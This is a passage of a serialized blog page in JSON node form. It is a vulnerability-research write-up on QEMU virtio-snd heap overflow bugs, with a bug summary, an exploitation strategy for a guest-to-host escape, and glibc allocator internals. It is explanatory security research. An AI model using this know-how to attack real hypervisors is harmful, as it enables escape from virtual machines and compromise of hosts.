",{"type":20,"tag":315,"props":124033,"children":124034},{"style":334},[124035],{"type":26,"value":901},{"type":20,"tag":315,"props":124037,"children":124038},{"style":328},[124039],{"type":26,"value":124040},"st_params;\n",{"type":20,"tag":315,"props":124042,"children":124043},{"class":317,"line":421},[124044],{"type":20,"tag":315,"props":124045,"children":124046},{"emptyLinePlaceholder":15},[124047],{"type":26,"value":427},{"type":20,"tag":315,"props":124049,"children":124050},{"class":317,"line":430},[124051],{"type":20,"tag":315,"props":124052,"children":124053},{"style":328},[124054],{"type":26,"value":103059},{"type":20,"tag":315,"props":124056,"children":124057},{"class":317,"line":453},[124058],{"type":20,"tag":315,"props":124059,"children":124060},{"emptyLinePlaceholder":15},[124061],{"type":26,"value":427},{"type":20,"tag":315,"props":124063,"children":124064},{"class":317,"line":486},[124065,124070,124074,124079],{"type":20,"tag":315,"props":124066,"children":124067},{"style":328},[124068],{"type":26,"value":124069}," st_params ",{"type":20,"tag":315,"props":124071,"children":124072},{"style":334},[124073],{"type":26,"value":337},{"type":20,"tag":315,"props":124075,"children":124076},{"style":345},[124077],{"type":26,"value":124078}," virtio_snd_pcm_get_params",{"type":20,"tag":315,"props":124080,"children":124081},{"style":328},[124082],{"type":26,"value":124083},"(s, stream_id);\n",{"type":20,"tag":315,"props":124085,"children":124086},{"class":317,"line":499},[124087],{"type":20,"tag":315,"props":124088,"children":124089},{"emptyLinePlaceholder":15},[124090],{"type":26,"value":427},{"type":20,"tag":315,"props":124092,"children":124093},{"class":317,"line":513},[124094],{"type":20,"tag":315,"props":124095,"children":124096},{"style":328},[124097],{"type":26,"value":103059},{"type":20,"tag":315,"props":124099,"children":124100},{"class":317,"line":521},[124101],{"type":20,"tag":315,"props":124102,"children":124103},{"emptyLinePlaceholder":15},[124104],{"type":26,"value":427},{"type":20,"tag":315,"props":124106,"children":124107},{"class":317,"line":552},[124108,124113,124117,124122,124126,124131,124135,124139,124143,124147],{"type":20,"tag":315,"props":124109,"children":124110},{"style":635},[124111],{"type":26,"value":124112}," st_params",{"type":20,"tag":315,"props":124114,"children":124115},{"style":328},[124116],{"type":26,"value":12158},{"type":20,"tag":315,"props":124118,"children":124119},{"style":635},[124120],{"type":26,"value":124121},"buffer_bytes",{"type":20,"tag":315,"props":124123,"children":124124},{"style":334},[124125],{"type":26,"value":1395},{"type":20,"tag":315,"props":124127,"children":124128},{"style":345},[124129],{"type":26,"value":124130}," le32_to_cpu",{"type":20,"tag":315,"props":124132,"children":124133},{"style":328},[124134],{"type":26,"value":1049},{"type":20,"tag":315,"props":124136,"children":124137},{"style":635},[124138],{"type":26,"value":96540},{"type":20,"tag":315,"props":124140,"children":124141},{"style":328},[124142],{"type":26,"value":12158},{"type":20,"tag":315,"props":124144,"children":124145},{"style":635},[124146],{"type":26,"value":124121},{"type":20,"tag":315,"props":124148,"children":124149},{"style":328},[124150],{"type":26,"value":2214},{"type":20,"tag":315,"props":124152,"children":124153},{"class":317,"line":571},[124154,124158,124162,124166,124170,124174,124178,124182,124186,124190],{"type":20,"tag":315,"props":124155,"children":124156},{"style":635},[124157],{"type":26,"value":124112},{"type":20,"tag":315,"props":124159,"children":124160},{"style":328},[124161],{"type":26,"value":12158},{"type":20,"tag":315,"props":124163,"children":124164},{"style":635},[124165],{"type":26,"value":123571},{"type":20,"tag":315,"props":124167,"children":124168},{"style":334},[124169],{"type":26,"value":1395},{"type":20,"tag":315,"props":124171,"children":124172},{"style":345},[124173],{"type":26,"value":124130},{"type":20,"tag":315,"props":124175,"children":124176},{"style":328},[124177],{"type":26,"value":1049},{"type":20,"tag":315,"props":124179,"children":124180},{"style":635},[124181],{"type":26,"value":96540},{"type":20,"tag":315,"props":124183,"children":124184},{"style":328},[124185],{"type":26,"value":12158},{"type":20,"tag":315,"props":124187,"children":124188},{"style":635},[124189],{"type":26,"value":123571},{"type":20,"tag":315,"props":124191,"children":124192},{"style":328},[124193],{"type":26,"value":2214},{"type":20,"tag":315,"props":124195,"children":124196},{"class":317,"line":2031},[124197,124201,124205,124210,124214,124218,124222,124226,124230,124234],{"type":20,"tag":315,"props":124198,"children":124199},{"style":635},[124200],{"type":26,"value":124112},{"type":20,"tag":315,"props":124202,"children":124203},{"style":328},[124204],{"type":26,"value":12158},{"type":20,"tag":315,"props":124206,"children":124207},{"style":635},[124208],{"type":26,"value":124209},"features",{"type":20,"tag":315,"props":124211,"children":124212},{"style":334},[124213],{"type":26,"value":1395},{"type":20,"tag":315,"props":124215,"children":124216},{"style":345},[124217],{"type":26,"value":124130},{"type":20,"tag":315,"props":124219,"children":124220},{"style":328},[124221],{"type":26,"value":1049},{"type":20,"tag":315,"props":124223,"children":124224},{"style":635},[124225],{"type":26,"value":96540},{"type":20,"tag":315,"props":124227,"children":124228},{"style":328},[124229],{"type":26,"value":12158},{"type":20,"tag":315,"props":124231,"children":124232},{"style":635},[124233],{"type":26,"value":124209},{"type":20,"tag":315,"props":124235,"children":124236},{"style":328},[124237],{"type":26,"value":2214},{"type":20,"tag":315,"props":124239,"children":124240},{"class":317,"line":2053},[124241],{"type":20,"tag":315,"props":124242,"children":124243},{"style":1071},[124244],{"type":26,"value":124245}," /* the following are uint8_t, so there's no need to bswap the values. */\n",{"type":20,"tag":315,"props":124247,"children":124248},{"class":317,"line":2061},[124249,124253,124257,124262,124266,124271,124275,124279],{"type":20,"tag":315,"props":124250,"children":124251},{"style":635},[124252],{"type":26,"value":124112},{"type":20,"tag":315,"props":124254,"children":124255},{"style":328},[124256],{"type":26,"value":12158},{"type":20,"tag":315,"props":124258,"children":124259},{"style":635},[124260],{"type":26,"value":124261},"channels",{"type":20,"tag":315,"props":124263,"children":124264},{"style":334},[124265],{"type":26,"value":1395},{"type":20,"tag":315,"props":124267,"children":124268},{"style":635},[124269],{"type":26,"value":124270}," params",{"type":20,"tag":315,"props":124272,"children":124273},{"style":328},[124274],{"type":26,"value":12158},{"type":20,"tag":315,"props":124276,"children":124277},{"style":635},[124278],{"type":26,"value":124261},{"type":20,"tag":315,"props":124280,"children":124281},{"style":328},[124282],{"type":26,"value":1405},{"type":20,"tag":315,"props":124284,"children":124285},{"class":317,"line":2070},[124286,124290,124294,124299,124303,124307,124311,124315],{"type":20,"tag":315,"props":124287,"children":124288},{"style":635},[124289],{"type":26,"value":124112},{"type":20,"tag":315,"props":124291,"children":124292},{"style":328},[124293],{"type":26,"value":12158},{"type":20,"tag":315,"props":124295,"children":124296},{"style":635},[124297],{"type":26,"value":124298},"format",{"type":20,"tag":315,"props":124300,"children":124301},{"style":334},[124302],{"type":26,"value":1395},{"type":20,"tag":315,"props":124304,"children":124305},{"style":635},[124306],{"type":26,"value":124270},{"type":20,"tag":315,"props":124308,"children":124309},{"style":328},[124310],{"type":26,"value":12158},{"type":20,"tag":315,"props":124312,"children":124313},{"style":635},[124314],{"type":26,"value":124298},{"type":20,"tag":315,"props":124316,"children":124317},{"style":328},[124318],{"type":26,"value":1405},{"type":20,"tag":315,"props":124320,"children":124321},{"class":317,"line":2139},[124322,124326,124330,124335,124339,124343,124347,124351],{"type":20,"tag":315,"props":124323,"children":124324},{"style":635},[124325],{"type":26,"value":124112},{"type":20,"tag":315,"props":124327,"children":124328},{"style":328},[124329],{"type":26,"value":12158},{"type":20,"tag":315,"props":124331,"children":124332},{"style":635},[124333],{"type":26,"value":124334},"rate",{"type":20,"tag":315,"props":124336,"children":124337},{"style":334},[124338],{"type":26,"value":1395},{"type":20,"tag":315,"props":124340,"children":124341},{"style":635},[124342],{"type":26,"value":124270},{"type":20,"tag":315,"props":124344,"children":124345},{"style":328},[124346],{"type":26,"value":12158},{"type":20,"tag":315,"props":124348,"children":124349},{"style":635},[124350],{"type":26,"value":124334},{"type":20,"tag":315,"props":124352,"children":124353},{"style":328},[124354],{"type":26,"value":1405},{"type":20,"tag":315,"props":124356,"children":124357},{"class":317,"line":2147},[124358],{"type":20,"tag":315,"props":124359,"children":124360},{"emptyLinePlaceholder":15},[124361],{"type":26,"value":427},{"type":20,"tag":315,"props":124363,"children":124364},{"class":317,"line":2177},[124365,124369,124374],{"type":20,"tag":315,"props":124366,"children":124367},{"style":525},[124368],{"type":26,"value":731},{"type":20,"tag":315,"props":124370,"children":124371},{"style":345},[124372],{"type":26,"value":124373}," cpu_to_le32",{"type":20,"tag":315,"props":124375,"children":124376},{"style":328},[124377],{"type":26,"value":124378},"(VIRTIO_SND_S_OK);\n",{"type":20,"tag":315,"props":124380,"children":124381},{"class":317,"line":2185},[124382],{"type":20,"tag":315,"props":124383,"children":124384},{"style":328},[124385],{"type":26,"value":577},{"type":20,"tag":29,"props":124387,"children":124388},{},[124389,124391,124396,124398,124404,124406,124411,124413,124418,124420,124426,124427,124432],{"type":26,"value":124390},"Among the guest-controlled PCM parameters, format matters later for exploit reliability. For 8-bit PCM, QEMU accepts both unsigned (",{"type":20,"tag":119,"props":124392,"children":124394},{"className":124393},[],[124395],{"type":26,"value":1802},{"type":26,"value":124397},") and signed (",{"type":20,"tag":119,"props":124399,"children":124401},{"className":124400},[],[124402],{"type":26,"value":124403},"s8",{"type":26,"value":124405},") samples. They encode the same waveform differently - silence is ",{"type":20,"tag":119,"props":124407,"children":124409},{"className":124408},[],[124410],{"type":26,"value":27855},{"type":26,"value":124412}," in ",{"type":20,"tag":119,"props":124414,"children":124416},{"className":124415},[],[124417],{"type":26,"value":1802},{"type":26,"value":124419},", but ",{"type":20,"tag":119,"props":124421,"children":124423},{"className":124422},[],[124424],{"type":26,"value":124425},"0x00",{"type":26,"value":124412},{"type":20,"tag":119,"props":124428,"children":124430},{"className":124429},[],[124431],{"type":26,"value":124403},{"type":26,"value":61},{"type":20,"tag":17197,"props":124434,"children":124435},{},[],{"type":20,"tag":29,"props":124437,"children":124438},{},[124439],{"type":26,"value":124440},"To summarize:",{"type":20,"tag":68,"props":124442,"children":124443},{},[124444,124463,124481],{"type":20,"tag":72,"props":124445,"children":124446},{},[124447,124449,124454,124456,124461],{"type":26,"value":124448},"an integer underflow in the ",{"type":20,"tag":119,"props":124450,"children":124452},{"className":124451},[],[124453],{"type":26,"value":122518},{"type":26,"value":124455}," calculation in ",{"type":20,"tag":119,"props":124457,"children":124459},{"className":124458},[],[124460],{"type":26,"value":122023},{"type":26,"value":124462},", resulting in an 8-byte (or less) under-allocation",{"type":20,"tag":72,"props":124464,"children":124465},{},[124466,124468,124473,124474,124479],{"type":26,"value":124467},"a mismatch in the ",{"type":20,"tag":119,"props":124469,"children":124471},{"className":124470},[],[124472],{"type":26,"value":123750},{"type":26,"value":124455},{"type":20,"tag":119,"props":124475,"children":124477},{"className":124476},[],[124478],{"type":26,"value":123848},{"type":26,"value":124480},", leading to at most 8-byte OOB write",{"type":20,"tag":72,"props":124482,"children":124483},{},[124484,124486,124491,124493,124498,124500,124505],{"type":26,"value":124485},"a missing bound in the ",{"type":20,"tag":119,"props":124487,"children":124489},{"className":124488},[],[124490],{"type":26,"value":122518},{"type":26,"value":124492}," passed to ",{"type":20,"tag":119,"props":124494,"children":124496},{"className":124495},[],[124497],{"type":26,"value":123868},{"type":26,"value":124499},", which does not take the actual buffer allocation size into account and can therefore lead to an OOB write of an arbitrary length, up to ",{"type":20,"tag":119,"props":124501,"children":124503},{"className":124502},[],[124504],{"type":26,"value":123891},{"type":26,"value":80547},{"type":20,"tag":29,"props":124507,"children":124508},{},[124509,124511,124516,124518,124523,124525,124531],{"type":26,"value":124510},"In our exploit, we focus on the third bug because it provides the largest overflow and therefore the most useful primitive. In practice, the actual write is still bounded by ",{"type":20,"tag":119,"props":124512,"children":124514},{"className":124513},[],[124515],{"type":26,"value":123891},{"type":26,"value":124517},", but in our setup with the ALSA backend, ",{"type":20,"tag":119,"props":124519,"children":124521},{"className":124520},[],[124522],{"type":26,"value":123891},{"type":26,"value":124524}," was consistently around ",{"type":20,"tag":119,"props":124526,"children":124528},{"className":124527},[],[124529],{"type":26,"value":124530},"4096",{"type":26,"value":61},{"type":20,"tag":29,"props":124533,"children":124534},{},[124535,124537,124544,124545,124552],{"type":26,"value":124536},"It is also worth noting that the timing here was particularly unlucky - these bugs had been present in QEMU for over two years, but they were fixed (",{"type":20,"tag":35,"props":124538,"children":124541},{"href":124539,"rel":124540},"https://github.com/qemu/qemu/commit/bcb53328aa70023f1405fade4e253e7f77567261",[39],[124542],{"type":26,"value":124543},"commit 1",{"type":26,"value":44},{"type":20,"tag":35,"props":124546,"children":124549},{"href":124547,"rel":124548},"https://github.com/qemu/qemu/commit/7994203bb1b83a6604f3ab00fe9598909bb66164",[39],[124550],{"type":26,"value":124551},"commit 2",{"type":26,"value":124553},") in the very same week that we independently found them while manually reviewing the code.",{"type":20,"tag":21,"props":124555,"children":124556},{"id":98366},[124557],{"type":26,"value":98369},{"type":20,"tag":29,"props":124559,"children":124560},{},[124561],{"type":26,"value":124562},"Each of these bugs is in the audio input path. Since that audio input comes from the host side, the bytes written out of bounds are not controlled by the guest and, from the exploit perspective, can be treated as effectively random.",{"type":20,"tag":29,"props":124564,"children":124565},{},[124566],{"type":26,"value":124567},"This gives an interesting challenge: how do you exploit an out-of-bounds write when you do not control the data being written?",{"type":20,"tag":219,"props":124569,"children":124571},{"id":124570},"achieving-a-better-primitive",[124572],{"type":26,"value":124573},"Achieving a Better Primitive",{"type":20,"tag":29,"props":124575,"children":124576},{},[124577],{"type":26,"value":124578},"The first idea that comes to mind is to target some kind of size or offset field. The goal is to make that field as small as possible initially, trigger the overflow, and rely on the corrupted bytes being larger than the original value. Such scenario would transform a weak primitive into a much more useful one, giving us a better starting point for the rest of the exploit.",{"type":20,"tag":29,"props":124580,"children":124581},{},[124582],{"type":26,"value":124583},"However, after searching QEMU for such objects we didn't find a suitable target. The main problem was that, in most cases, the field we wanted to corrupt was preceded by one or more pointers. That would have been acceptable if those pointers were unused, but in every candidate object we examined they were still live. As a result, the heap overflow would corrupt them with effectively random bytes, causing an invalid dereference and crashing QEMU before we could achieve our desired guest-to-host escape.",{"type":20,"tag":29,"props":124585,"children":124586},{},[124587],{"type":26,"value":124588},"At that point, we turned our attention to the glibc allocator. This is usually not the first choice in such targets - allocator techniques are often more version-specific and less portable than program-specific primitives (for example, type confusion on known object layouts). So allocator attacks are often a fallback once object-level paths are exhausted.",{"type":20,"tag":17297,"props":124590,"children":124592},{"id":124591},"glibc-allocator",[124593],{"type":26,"value":124594},"Glibc Allocator",{"type":20,"tag":29,"props":124596,"children":124597},{},[124598,124600,124607],{"type":26,"value":124599},"The glibc allocator has already been studied and documented extensively, so we will only cover the basics relevant to this exploit. A good resource for both current and older attack techniques is ",{"type":20,"tag":35,"props":124601,"children":124604},{"href":124602,"rel":124603},"https://github.com/shellphish/how2heap",[39],[124605],{"type":26,"value":124606},"how2heap",{"type":26,"value":61},{"type":20,"tag":35762,"props":124609,"children":124611},{"id":124610},"chunk-layout-and-bins",[124612],{"type":26,"value":124613},"Chunk Layout and Bins",{"type":20,"tag":29,"props":124615,"children":124616},{},[124617],{"type":26,"value":124618},"A chunk looks like this:",{"type":20,"tag":305,"props":124620,"children":124622},{"code":124621}," +0x0 +0x8\n +-------------+-------------+\n | prev_size | size |\n +---------------------------+\n+0x10 | 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n | |\n | . . . |\n",[124623],{"type":20,"tag":119,"props":124624,"children":124625},{"__ignoreMap":7},[124626],{"type":26,"value":124621},{"type":20,"tag":29,"props":124628,"children":124629},{},[124630,124632,124638,124640,124646,124647,124652,124653,124659,124661,124666,124668,124673,124675,124681,124682,124688,124690,124696],{"type":26,"value":124631},"The first 16 bytes form the chunk header. It consists of the ",{"type":20,"tag":119,"props":124633,"children":124635},{"className":124634},[],[124636],{"type":26,"value":124637},"prev_size",{"type":26,"value":124639}," field at offset ",{"type":20,"tag":119,"props":124641,"children":124643},{"className":124642},[],[124644],{"type":26,"value":124645},"0x0",{"type":26,"value":35966},{"type":20,"tag":119,"props":124648,"children":124650},{"className":124649},[],[124651],{"type":26,"value":122518},{"type":26,"value":124639},{"type":20,"tag":119,"props":124654,"children":124656},{"className":124655},[],[124657],{"type":26,"value":124658},"0x8",{"type":26,"value":124660},". As the name suggests, ",{"type":20,"tag":119,"props":124662,"children":124664},{"className":124663},[],[124665],{"type":26,"value":124637},{"type":26,"value":124667}," stores the size of the previous chunk and is only used when that chunk is free, while ",{"type":20,"tag":119,"props":124669,"children":124671},{"className":124670},[],[124672],{"type":26,"value":122518},{"type":26,"value":124674}," stores the size of the current chunk and three special bits of which ",{"type":20,"tag":119,"props":124676,"children":124678},{"className":124677},[],[124679],{"type":26,"value":124680},"PREV_INUSE",{"type":26,"value":9392},{"type":20,"tag":119,"props":124683,"children":124685},{"className":124684},[],[124686],{"type":26,"value":124687},"IS_MMAPPED",{"type":26,"value":124689}," are relevant for this blog post. The actual chunk data begins at offset ",{"type":20,"tag":119,"props":124691,"children":124693},{"className":124692},[],[124694],{"type":26,"value":124695},"0x10",{"type":26,"value":61},{"type":20,"tag":29,"props":124698,"children":124699},{},[124700],{"type":26,"value":124701},"Freed chunks are organized into different bins depending on their size and state. For this writeup, the important one is the per-thread cache, or tcache. Tcache stores recently freed chunks in size-segregated singly linked lists and is generally the first place glibc looks when servicing small allocations.",{"type":20,"tag":35762,"props":124703,"children":124705},{"id":124704},"free-path",[124706],{"type":26,"value":124707},"free() path",{"type":20,"tag":29,"props":124709,"children":124710},{},[124711,124713,124719],{"type":26,"value":124712},"Let’s first look at the ",{"type":20,"tag":119,"props":124714,"children":124716},{"className":124715},[],[124717],{"type":26,"value":124718},"free()",{"type":26,"value":124720}," path in glibc 2.40:",{"type":20,"tag":305,"props":124722,"children":124724},{"code":124723,"language":1528,"meta":7,"className":14916,"style":7},"__libc_free (void *mem)\n{\n mstate ar_ptr;\n mchunkptr p;\n\n p = mem2chunk (mem);\n if (chunk_is_mmapped (p))\n {\n munmap_chunk (p);\n }\n else\n {\n MAYBE_INIT_TCACHE ();\n\n ar_ptr = arena_for_chunk (p);\n _int_free (ar_ptr, p, 0);\n }\n}\n",[124725],{"type":20,"tag":119,"props":124726,"children":124727},{"__ignoreMap":7},[124728,124756,124763,124771,124779,124786,124808,124829,124836,124849,124856,124864,124871,124884,124891,124912,124933,124940],{"type":20,"tag":315,"props":124729,"children":124730},{"class":317,"line":318},[124731,124736,124740,124744,124748,124752],{"type":20,"tag":315,"props":124732,"children":124733},{"style":345},[124734],{"type":26,"value":124735},"__libc_free",{"type":20,"tag":315,"props":124737,"children":124738},{"style":328},[124739],{"type":26,"value":463},{"type":20,"tag":315,"props":124741,"children":124742},{"style":541},[124743],{"type":26,"value":49879},{"type":20,"tag":315,"props":124745,"children":124746},{"style":334},[124747],{"type":26,"value":8216},{"type":20,"tag":315,"props":124749,"children":124750},{"style":635},[124751],{"type":26,"value":39081},{"type":20,"tag":315,"props":124753,"children":124754},{"style":328},[124755],{"type":26,"value":380},{"type":20,"tag":315,"props":124757,"children":124758},{"class":317,"line":356},[124759],{"type":20,"tag":315,"props":124760,"children":124761},{"style":328},[124762],{"type":26,"value":723},{"type":20,"tag":315,"props":124764,"children":124765},{"class":317,"line":365},[124766],{"type":20,"tag":315,"props":124767,"children":124768},{"style":328},[124769],{"type":26,"value":124770}," mstate ar_ptr;\n",{"type":20,"tag":315,"props":124772,"children":124773},{"class":317,"line":374},[124774],{"type":20,"tag":315,"props":124775,"children":124776},{"style":328},[124777],{"type":26,"value":124778}," mchunkptr p;\n",{"type":20,"tag":315,"props":124780,"children":124781},{"class":317,"line":383},[124782],{"type":20,"tag":315,"props":124783,"children":124784},{"emptyLinePlaceholder":15},[124785],{"type":26,"value":427},{"type":20,"tag":315,"props":124787,"children":124788},{"class":317,"line":407},[124789,124794,124798,124803],{"type":20,"tag":315,"props":124790,"children":124791},{"style":328},[124792],{"type":26,"value":124793}," p ",{"type":20,"tag":315,"props":124795,"children":124796},{"style":334},[124797],{"type":26,"value":337},{"type":20,"tag":315,"props":124799,"children":124800},{"style":345},[124801],{"type":26,"value":124802}," mem2chunk",{"type":20,"tag":315,"props":124804,"children":124805},{"style":328},[124806],{"type":26,"value":124807}," (mem);\n",{"type":20,"tag":315,"props":124809,"children":124810},{"class":317,"line":421},[124811,124815,124819,124824],{"type":20,"tag":315,"props":124812,"children":124813},{"style":525},[124814],{"type":26,"value":29809},{"type":20,"tag":315,"props":124816,"children":124817},{"style":328},[124818],{"type":26,"value":463},{"type":20,"tag":315,"props":124820,"children":124821},{"style":345},[124822],{"type":26,"value":124823},"chunk_is_mmapped",{"type":20,"tag":315,"props":124825,"children":124826},{"style":328},[124827],{"type":26,"value":124828}," (p))\n",{"type":20,"tag":315,"props":124830,"children":124831},{"class":317,"line":430},[124832],{"type":20,"tag":315,"props":124833,"children":124834},{"style":328},[124835],{"type":26,"value":27602},{"type":20,"tag":315,"props":124837,"children":124838},{"class":317,"line":453},[124839,124844],{"type":20,"tag":315,"props":124840,"children":124841},{"style":345},[124842],{"type":26,"value":124843}," munmap_chunk",{"type":20,"tag":315,"props":124845,"children":124846},{"style":328},[124847],{"type":26,"value":124848}," (p);\n",{"type":20,"tag":315,"props":124850,"children":124851},{"class":317,"line":486},[124852],{"type":20,"tag":315,"props":124853,"children":124854},{"style":328},[124855],{"type":26,"value":1736},{"type":20,"tag":315,"props":124857,"children":124858},{"class":317,"line":499},[124859],{"type":20,"tag":315,"props":124860,"children":124861},{"style":525},[124862],{"type":26,"value":124863}," else\n",{"type":20,"tag":315,"props":124865,"children":124866},{"class":317,"line":513},[124867],{"type":20,"tag":315,"props":124868,"children":124869},{"style":328},[124870],{"type":26,"value":27602},{"type":20,"tag":315,"props":124872,"children":124873},{"class":317,"line":521},[124874,124879],{"type":20,"tag":315,"props":124875,"children":124876},{"style":345},[124877],{"type":26,"value":124878}," MAYBE_INIT_TCACHE",{"type":20,"tag":315,"props":124880,"children":124881},{"style":328},[124882],{"type":26,"value":124883}," ();\n",{"type":20,"tag":315,"props":124885,"children":124886},{"class":317,"line":552},[124887],{"type":20,"tag":315,"props":124888,"children":124889},{"emptyLinePlaceholder":15},[124890],{"type":26,"value":427},{"type":20,"tag":315,"props":124892,"children":124893},{"class":317,"line":571},[124894,124899,124903,124908],{"type":20,"tag":315,"props":124895,"children":124896},{"style":328},[124897],{"type":26,"value":124898}," ar_ptr ",{"type":20,"tag":315,"props":124900,"children":124901},{"style":334},[124902],{"type":26,"value":337},{"type":20,"tag":315,"props":124904,"children":124905},{"style":345},[124906],{"type":26,"value":124907}," arena_for_chunk",{"type":20,"tag":315,"props":124909,"children":124910},{"style":328},[124911],{"type":26,"value":124848},{"type":20,"tag":315,"props":124913,"children":124914},{"class":317,"line":2031},[124915,124920,124925,124929],{"type":20,"tag":315,"props":124916,"children":124917},{"style":345},[124918],{"type":26,"value":124919}," _int_free",{"type":20,"tag":315,"props":124921,"children":124922},{"style":328},[124923],{"type":26,"value":124924}," (ar_ptr, p, ",{"type":20,"tag":315,"props":124926,"children":124927},{"style":765},[124928],{"type":26,"value":1063},{"type":20,"tag":315,"props":124930,"children":124931},{"style":328},[124932],{"type":26,"value":2214},{"type":20,"tag":315,"props":124934,"children":124935},{"class":317,"line":2053},[124936],{"type":20,"tag":315,"props":124937,"children":124938},{"style":328},[124939],{"type":26,"value":1736},{"type":20,"tag":315,"props":124941,"children":124942},{"class":317,"line":2061},[124943],{"type":20,"tag":315,"props":124944,"children":124945},{"style":328},[124946],{"type":26,"value":577},{"type":20,"tag":29,"props":124948,"children":124949},{},[124950,124952,124957,124959,124964,124966,124972,124974,124980,124982,124987,124989,124994,124996,125001,125003,125008],{"type":26,"value":124951},"We can see that if the ",{"type":20,"tag":119,"props":124953,"children":124955},{"className":124954},[],[124956],{"type":26,"value":124687},{"type":26,"value":124958}," bit is set in the corrupted ",{"type":20,"tag":119,"props":124960,"children":124962},{"className":124961},[],[124963],{"type":26,"value":122518},{"type":26,"value":124965}," field, glibc will call ",{"type":20,"tag":119,"props":124967,"children":124969},{"className":124968},[],[124970],{"type":26,"value":124971},"munmap_chunk",{"type":26,"value":124973},", which internally checks that ",{"type":20,"tag":119,"props":124975,"children":124977},{"className":124976},[],[124978],{"type":26,"value":124979},"prev_size + size",{"type":26,"value":124981}," is page-aligned. To reach the ",{"type":20,"tag":119,"props":124983,"children":124985},{"className":124984},[],[124986],{"type":26,"value":122518},{"type":26,"value":124988}," field, we first have to overwrite the entire 8-byte ",{"type":20,"tag":119,"props":124990,"children":124992},{"className":124991},[],[124993],{"type":26,"value":124637},{"type":26,"value":124995}," field with uncontrolled data. The chance that a corrupted ",{"type":20,"tag":119,"props":124997,"children":124999},{"className":124998},[],[125000],{"type":26,"value":124979},{"type":26,"value":125002}," value still ends up page-aligned is extremely small. In practice, if ",{"type":20,"tag":119,"props":125004,"children":125006},{"className":125005},[],[125007],{"type":26,"value":124687},{"type":26,"value":125009}," is set, the process will almost certainly abort before we can make use of the corruption.",{"type":20,"tag":29,"props":125011,"children":125012},{},[125013,125015,125020,125022,125028],{"type":26,"value":125014},"Assuming ",{"type":20,"tag":119,"props":125016,"children":125018},{"className":125017},[],[125019],{"type":26,"value":124687},{"type":26,"value":125021}," is not set, execution continues into ",{"type":20,"tag":119,"props":125023,"children":125025},{"className":125024},[],[125026],{"type":26,"value":125027},"_int_free",{"type":26,"value":2884},{"type":20,"tag":305,"props":125030,"children":125032},{"code":125031,"language":1528,"meta":7,"className":14916,"style":7},"static void\n_int_free (mstate av, mchunkptr p, int have_lock)\n{\n INTERNAL_SIZE_T size;\n\n size = chunksize (p);\n\n /* Little security check which won't hurt performance: the\n allocator never wraps around at the end of the address space.\n Therefore we can exclude some size values which might appear\n here by accident or by \"design\" from some intruder. */\n if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)\n || __builtin_expect (misaligned_chunk (p), 0))\n malloc_printerr (\"free(): invalid pointer\");\n /* We know that each chunk is at least MINSIZE bytes in size or a\n multiple of MALLOC_ALIGNMENT. */\n if (__glibc_unlikely (size \u003C MINSIZE || !aligned_OK (size)))\n malloc_printerr (\"free(): invalid size\");\n\n check_inuse_chunk(av, p);\n\n [...]\n",[125033],{"type":20,"tag":119,"props":125034,"children":125035},{"__ignoreMap":7},[125036,125048,125091,125098,125106,125113,125134,125141,125149,125157,125165,125173,125237,125272,125293,125301,125309,125357,125377,125384,125397,125404],{"type":20,"tag":315,"props":125037,"children":125038},{"class":317,"line":318},[125039,125043],{"type":20,"tag":315,"props":125040,"children":125041},{"style":541},[125042],{"type":26,"value":49296},{"type":20,"tag":315,"props":125044,"children":125045},{"style":541},[125046],{"type":26,"value":125047}," void\n",{"type":20,"tag":315,"props":125049,"children":125050},{"class":317,"line":356},[125051,125055,125060,125065,125070,125074,125078,125082,125087],{"type":20,"tag":315,"props":125052,"children":125053},{"style":345},[125054],{"type":26,"value":125027},{"type":20,"tag":315,"props":125056,"children":125057},{"style":328},[125058],{"type":26,"value":125059}," (mstate ",{"type":20,"tag":315,"props":125061,"children":125062},{"style":635},[125063],{"type":26,"value":125064},"av",{"type":20,"tag":315,"props":125066,"children":125067},{"style":328},[125068],{"type":26,"value":125069},", mchunkptr ",{"type":20,"tag":315,"props":125071,"children":125072},{"style":635},[125073],{"type":26,"value":29},{"type":20,"tag":315,"props":125075,"children":125076},{"style":328},[125077],{"type":26,"value":44},{"type":20,"tag":315,"props":125079,"children":125080},{"style":541},[125081],{"type":26,"value":17451},{"type":20,"tag":315,"props":125083,"children":125084},{"style":635},[125085],{"type":26,"value":125086}," have_lock",{"type":20,"tag":315,"props":125088,"children":125089},{"style":328},[125090],{"type":26,"value":380},{"type":20,"tag":315,"props":125092,"children":125093},{"class":317,"line":365},[125094],{"type":20,"tag":315,"props":125095,"children":125096},{"style":328},[125097],{"type":26,"value":723},{"type":20,"tag":315,"props":125099,"children":125100},{"class":317,"line":374},[125101],{"type":20,"tag":315,"props":125102,"children":125103},{"style":328},[125104],{"type":26,"value":125105}," INTERNAL_SIZE_T size;\n",{"type":20,"tag":315,"props":125107,"children":125108},{"class":317,"line":383},[125109],{"type":20,"tag":315,"props":125110,"children":125111},{"emptyLinePlaceholder":15},[125112],{"type":26,"value":427},{"type":20,"tag":315,"props":125114,"children":125115},{"class":317,"line":407},[125116,125121,125125,125130],{"type":20,"tag":315,"props":125117,"children":125118},{"style":328},[125119],{"type":26,"value":125120}," size ",{"type":20,"tag":315,"props":125122,"children":125123},{"style":334},[125124],{"type":26,"value":337},{"type":20,"tag":315,"props":125126,"children":125127},{"style":345},[125128],{"type":26,"value":125129}," chunksize",{"type":20,"tag":315,"props":125131,"children":125132},{"style":328},[125133],{"type":26,"value":124848},{"type":20,"tag":315,"props":125135,"children":125136},{"class":317,"line":421},[125137],{"type":20,"tag":315,"props":125138,"children":125139},{"emptyLinePlaceholder":15},[125140],{"type":26,"value":427},{"type":20,"tag":315,"props":125142,"children":125143},{"class":317,"line":430},[125144],{"type":20,"tag":315,"props":125145,"children":125146},{"style":1071},[125147],{"type":26,"value":125148}," /* Little security check which won't hurt performance: the\n",{"type":20,"tag":315,"props":125150,"children":125151},{"class":317,"line":453},[125152],{"type":20,"tag":315,"props":125153,"children":125154},{"style":1071},[125155],{"type":26,"value":125156}," allocator never wraps around at the end of the address space.\n",{"type":20,"tag":315,"props":125158,"children":125159},{"class":317,"line":486},[125160],{"type":20,"tag":315,"props":125161,"children":125162},{"style":1071},[125163],{"type":26,"value":125164}," Therefore we can exclude some size values which might appear\n",{"type":20,"tag":315,"props":125166,"children":125167},{"class":317,"line":499},[125168],{"type":20,"tag":315,"props":125169,"children":125170},{"style":1071},[125171],{"type":26,"value":125172}," here by accident or by \"design\" from some intruder. 